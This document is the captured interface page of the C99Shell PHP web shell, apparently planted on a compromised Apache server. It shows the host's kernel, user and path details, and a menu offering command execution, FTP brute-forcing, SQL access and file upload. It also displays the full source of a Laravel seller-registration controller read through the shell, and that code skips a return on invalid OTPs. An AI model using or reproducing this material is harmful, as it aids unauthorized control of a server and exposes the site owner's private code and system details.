!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/User/   drwxr-xr-x
Free 23.57 GB of 117.98 GB (19.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RegisteredSellerController.php (5.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api\User;

use 
App\Http\Controllers\Controller;
use 
App\Http\Requests\Site\StoreSellerRequest;
use 
App\Models\{
    
Role,
    
RoleUser,
    
User,
    
Vendor,
    
VendorUser
};
use 
App\Services\Mail\{
    
BeASellerMailService,
    
SellerRequestMailService
};
use 
Illuminate\Http\Request;
use 
Modules\Shop\Http\Models\Shop;
use 
Str;

class 
RegisteredSellerController extends Controller
{
    
/**
     * seller sign up
     *
     * @param StoreSellerRequest $request
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function signUp(StoreSellerRequest $request)
    {
        
$response = ['status' => false'message' => __('Invalid Request')];
        if (
preference('vendor_signup') != '1') {
            return 
$this->errorResponse([], 404$response['message']);
        }

        
$request['password'] = \Hash::make($request->password);
        
$request['status'] = preference('vendor_default_signup_status') ?? 'Pending';
        
$user User::whereEmail($request->email)->first();
        
$has_vendor User::whereHas('vendorUser')->whereEmail($request->email)->first();
        
$vendor Vendor::withTrashed()->whereEmail($request->email)->first();

        if (
$vendor) {
            
$response['message'] = __("The email address has already been taken.");
            return 
$this->errorResponse([], 500$response['message']);
        }
        if (
$has_vendor) {
            
$response['message'] = __("You are already registered.");
            return 
$this->errorResponse([], 500$response['message']);
        }

        try {
            
\DB::beginTransaction();

            
// Store user information
            
if (empty($user)) {
                
$user_id = (new User)->store($request->only('name''email''password''activation_code''activation_otp''status'));
            } else {
                
$user_id $user->id;
            }
            
// Store vendor information
            
$data['vendorData'] = $request->only('name''email''phone''formal_name''website''status');
            
$vendorId = (new Vendor)->store($data);

            
// Store shop information
            
$request['vendor_id'] = $vendorId;
            
$alias=cleanedUrl($request->name);
            
$request->merge([ 'alias' => $alias ]);
            (new 
Shop)->store($request->only('name''vendor_id''email''website''alias''phone''address''country''state''city''post_code'));

            if (!empty(
$user_id)) {
                
$roleId Role::where('slug''vendor-admin')->first()->id;
                
$roles = ['user_id' => $user_id'role_id' =>  $roleId];

                if (!empty(
$roles)) {
                    (new 
RoleUser)->update($roles);
                }

                
$request['user_id'] = $user_id;
                (new 
VendorUser)->store($request->only('vendor_id''user_id''status'));
                (new 
BeASellerMailService)->send($request);
            }
            
$prefer preference();
            
\DB::commit();
            
$response['message'] = __('The :x has been successfully saved.', ['x' => __('Vendor')]);
        } catch (
\Exception $e) {
            
\DB::rollBack();
            
$response['message'] = __('Failed! Something has gone wrong. Please contact with admin.');
            return 
$this->errorResponse([], 500$response['message']);
        }

        
$prefer preference();
        if (
$prefer['email'] == 'token') {
            
$response['message'] = __("Success! Registration has been done and account activation key has been sent your account.");
        }

        return 
$this->response(['data' => $response['message'], 'userData' => User::find($user_id)]);
    }

    
/**
     * otp verification
     *
     * @param Request $request
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function otpVerification(Request $request)
    {
        if (empty(
$request->token)) {
            return 
$this->errorResponse([], 404__("The OTP field is required."));
        } elseif (empty(
$request->email)) {
            return 
$this->errorResponse([], 404__("The Email field is required."));
        }

        
$user User::where('activation_otp'$request->token)->whereEmail($request->email)->first();
        if (empty(
$user)) {
            
$this->errorResponse([], 404__('Your OTP is invalid.'));
        }

        
$user->update(['activation_otp' => null'activation_code' => null'status' => 'Active''email_verified_at' => now()]);
        (new 
SellerRequestMailService)->send($user);
        return 
$this->response(['data' => __('Verified Successfully')]);
    }

    
/**
     * resend verification
     *
     * @param Request $request
     * @return array|\Illuminate\Http\JsonResponse
     * @throws \Exception
     */
    
public function resendVerificationCode(Request $request)
    {
        
$data['activation_code'] = Str::random(10);
        
$data['activation_otp'] = random_int(11119999);

        
$user User::where('email'$request->email)->first();

        
$result = (new User)->updateUser($data$user->id);
        
$result User::find($user->id);
        (new 
BeASellerMailService)->send($result);
        
$msg __('Email sent successfully. Please check your email.');
        return 
$this->response(['data' => $msg]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--